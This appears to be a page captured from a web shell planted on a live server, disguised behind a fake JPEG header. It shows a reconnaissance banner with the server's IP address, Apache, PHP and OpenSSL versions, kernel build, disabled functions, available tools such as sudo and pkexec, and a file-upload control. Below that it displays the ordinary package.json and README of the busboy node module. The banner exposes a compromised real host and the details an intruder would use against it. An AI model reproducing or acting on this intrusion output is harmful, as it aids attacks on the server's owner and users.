????JFIF??x?x????'
Server IP : 79.136.114.73 / Your IP : 18.117.79.92 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/appsrv.astacus.se/forge/node_modules/multer/node_modules/busboy/ |
Upload File : |
{ "name": "busboy", "version": "0.2.14", "author": { "name": "Brian White", "email": "mscdex@mscdex.net" }, "description": "A streaming parser for HTML form data for node.js", "main": "./lib/main", "dependencies": { "dicer": "0.2.5", "readable-stream": "1.1.x" }, "scripts": { "test": "node test/test.js" }, "engines": { "node": ">=0.8.0" }, "keywords": [ "uploads", "forms", "multipart", "form-data" ], "licenses": [ { "type": "MIT", "url": "http://github.com/mscdex/busboy/raw/master/LICENSE" } ], "repository": { "type": "git", "url": "http://github.com/mscdex/busboy.git" }, "readme": "Description\n===========\n\nA node.js module for parsing incoming HTML form data.\n\nIf you've found this module to be useful and wish to support it, you may do so by visiting this pledgie campaign:\n<a href='https://pledgie.com/campaigns/28774'><img alt='Click here to support busboy' src='https://pledgie.com/campaigns/28774.png?skin_name=chrome' border='0'></a>\n\n\nRequirements\n============\n\n* [node.js](http://nodejs.org/) -- v0.8.0 or newer\n\n\nInstall\n=======\n\n npm install busboy\n\n\nExamples\n========\n\n* Parsing (multipart) with default options:\n\n```javascript\nvar http = require('http'),\n inspect = require('util').inspect;\n\nvar Busboy = require('busboy');\n\nhttp.createServer(function(req, res) {\n if (req.method === 'POST') {\n var busboy = new Busboy({ headers: req.headers });\n busboy.on('file', function(fieldname, file, filename, encoding, mimetype) {\n console.log('File [' + fieldname + ']: filename: ' + filename + ', encoding: ' + encoding + ', mimetype: ' + mimetype);\n file.on('data', function(data) {\n console.log('File [' + fieldname + '] got ' + data.length + ' bytes');\n });\n file.on('end', function() {\n console.log('File [' + fieldname + '] Finished');\n });\n });\n busboy.on('field', function(fieldname, val, fieldnameTruncated, valTruncated, encoding, mimetype) {\n console.log('Field [' + fieldname + ']: value: ' + inspect(val));\n });\n busboy.on('finish', function() {\n console.log('Done parsing form!');\n res.writeHead(303, { Connection: 'close', Location: '/' });\n res.end();\n });\n req.pipe(busboy);\n } else if (req.method === 'GET') {\n res.writeHead(200, { Connection: 'close' });\n res.end('<html><head></head><body>\\\n <form method=\"POST\" enctype=\"multipart/form-data\">\\\n <input type=\"text\" name=\"textfield\"><br />\\\n <input type=\"file\" name=\"filefield\"><br />\\\n <input type=\"submit\">\\\n </form>\\\n </body></html>');\n }\n}).listen(8000, function() {\n console.log('Listening for requests');\n});\n\n// Example output, using http://nodejs.org/images/ryan-speaker.jpg as the file:\n//\n// Listening for requests\n// File [filefield]: filename: ryan-speaker.jpg, encoding: binary\n// File [filefield] got 11971 bytes\n// Field [textfield]: value: 'testing! :-)'\n// File [filefield] Finished\n// Done parsing form!\n```\n\n* Save all incoming files to disk:\n\n```javascript\nvar http = require('http'),\n path = require('path'),\n os = require('os'),\n fs = require('fs');\n\nvar Busboy = require('busboy');\n\nhttp.createServer(function(req, res) {\n if (req.method === 'POST') {\n var busboy = new Busboy({ headers: req.headers });\n busboy.on('file', function(fieldname, file, filename, encoding, mimetype) {\n var saveTo = path.join(os.tmpDir(), path.basename(fieldname));\n file.pipe(fs.createWriteStream(saveTo));\n });\n busboy.on('finish', function() {\n res.writeHead(200, { 'Connection': 'close' });\n res.end(\"That's all folks!\");\n });\n return req.pipe(busboy);\n }\n res.writeHead(404);\n res.end();\n}).listen(8000, function() {\n console.log('Listening for requests');\n});\n```\n\n* Parsing (urlencoded) with default options:\n\n```javascript\nvar http = require('http'),\n inspect = require('util').inspect;\n\nvar Busboy = require('busboy');\n\nhttp.createServer(function(req, res) {\n if (req.method === 'POST') {\n var busboy = new Busboy({ headers: req.headers });\n busboy.on('file', function(fieldname, file, filename, encoding, mimetype) {\n console.log('File [' + fieldname + ']: filename: ' + filename);\n file.on('data', function(data) {\n console.log('File [' + fieldname + '] got ' + data.length + ' bytes');\n });\n file.on('end', function() {\n console.log('File [' + fieldname + '] Finished');\n });\n });\n busboy.on('field', function(fieldname, val, fieldnameTruncated, valTruncated) {\n console.log('Field [' + fieldname + ']: value: ' + inspect(val));\n });\n busboy.on('finish', function() {\n console.log('Done parsing form!');\n res.writeHead(303, { Connection: 'close', Location: '/' });\n res.end();\n });\n req.pipe(busboy);\n } else if (req.method === 'GET') {\n res.writeHead(200, { Connection: 'close' });\n res.end('<html><head></head><body>\\\n <form method=\"POST\">\\\n <input type=\"text\" name=\"textfield\"><br />\\\n <select name=\"selectfield\">\\\n <option value=\"1\">1</option>\\\n <option value=\"10\">10</option>\\\n <option value=\"100\">100</option>\\\n <option value=\"9001\">9001</option>\\\n </select><br />\\\n <input type=\"checkbox\" name=\"checkfield\">Node.js rules!<br />\\\n <input type=\"submit\">\\\n </form>\\\n </body></html>');\n }\n}).listen(8000, function() {\n console.log('Listening for requests');\n});\n\n// Example output:\n//\n// Listening for requests\n// Field [textfield]: value: 'testing! :-)'\n// Field [selectfield]: value: '9001'\n// Field [checkfield]: value: 'on'\n// Done parsing form!\n```\n\n\nAPI\n===\n\n_Busboy_ is a _Writable_ stream\n\nBusboy (special) events\n-----------------------\n\n* **file**(< _string_ >fieldname, < _ReadableStream_ >stream, < _string_ >filename, < _string_ >transferEncoding, < _string_ >mimeType) - Emitted for each new file form field found. `transferEncoding` contains the 'Content-Transfer-Encoding' value for the file stream. `mimeType` contains the 'Content-Type' value for the file stream.\n * Note: if you listen for this event, you should always handle the `stream` no matter if you care about the file contents or not (e.g. you can simply just do `stream.resume();` if you want to discard the contents), otherwise the 'finish' event will never fire on the Busboy instance. However, if you don't care about **any** incoming files, you can simply not listen for the 'file' event at all and any/all files will be automatically and safely discarded (these discarded files do still count towards `files` and `parts` limits).\n * If a configured file size limit was reached, `stream` will both have a boolean property `truncated` (best checked at the end of the stream) and emit a 'limit' event to notify you when this happens.\n\n* **field**(< _string_ >fieldname, < _string_ >value, < _boolean_ >fieldnameTruncated, < _boolean_ >valueTruncated, < _string_ >transferEncoding, < _string_ >mimeType) - Emitted for each new non-file field found.\n\n* **partsLimit**() - Emitted when specified `parts` limit has been reached. No more 'file' or 'field' events will be emitted.\n\n* **filesLimit**() - Emitted when specified `files` limit has been reached. No more 'file' events will be emitted.\n\n* **fieldsLimit**() - Emitted when specified `fields` limit has been reached. No more 'field' events will be emitted.\n\n\nBusboy methods\n--------------\n\n* **(constructor)**(< _object_ >config) - Creates and returns a new Busboy instance.\n\n * The constructor takes the following valid `config` settings:\n\n * **headers** - _object_ - These are the HTTP headers of the incoming request, which are used by individual parsers.\n\n * **highWaterMark** - _integer_ - highWaterMark to use for this Busboy instance (Default: WritableStream default).\n\n * **fileHwm** - _integer_ - highWaterMark to use for file streams (Default: ReadableStream default).\n\n * **defCharset** - _string_ - Default character set to use when one isn't defined (Default: 'utf8').\n\n * **preservePath** - _boolean_ - If paths in the multipart 'filename' field shall be preserved. (Default: false).\n\n * **limits** - _object_ - Various limits on incoming data. Valid properties are:\n\n * **fieldNameSize** - _integer_ - Max field name size (in bytes) (Default: 100 bytes).\n\n * **fieldSize** - _integer_ - Max field value size (in bytes) (Default: 1MB).\n\n * **fields** - _integer_ - Max number of non-file fields (Default: Infinity).\n\n * **fileSize** - _integer_ - For multipart forms, the max file size (in bytes) (Default: Infinity).\n\n * **files** - _integer_ - For multipart forms, the max number of file fields (Default: Infinity).\n\n * **parts** - _integer_ - For multipart forms, the max number of parts (fields + files) (Default: Infinity).\n\n * **headerPairs** - _integer_ - For multipart forms, the max number of header key=>value pairs to parse **Default:** 2000 (same as node's http).\n\n * The constructor can throw errors:\n\n * **Unsupported content type: $type** - The `Content-Type` isn't one Busboy can parse.\n\n * **Missing Content-Type** - The provided headers don't include `Content-Type` at all.\n", "readmeFilename": "README.md", "bugs": { "url": "https://github.com/mscdex/busboy/issues" }, "_id": "busboy@0.2.14", "dist": { "shasum": "d0baf48c1bf516f7587bb8dc3c8ed15b40e45147" }, "_from": "busboy@^0.2.11", "_resolved": "http://registry.npmjs.org/busboy/-/busboy-0.2.14.tgz" }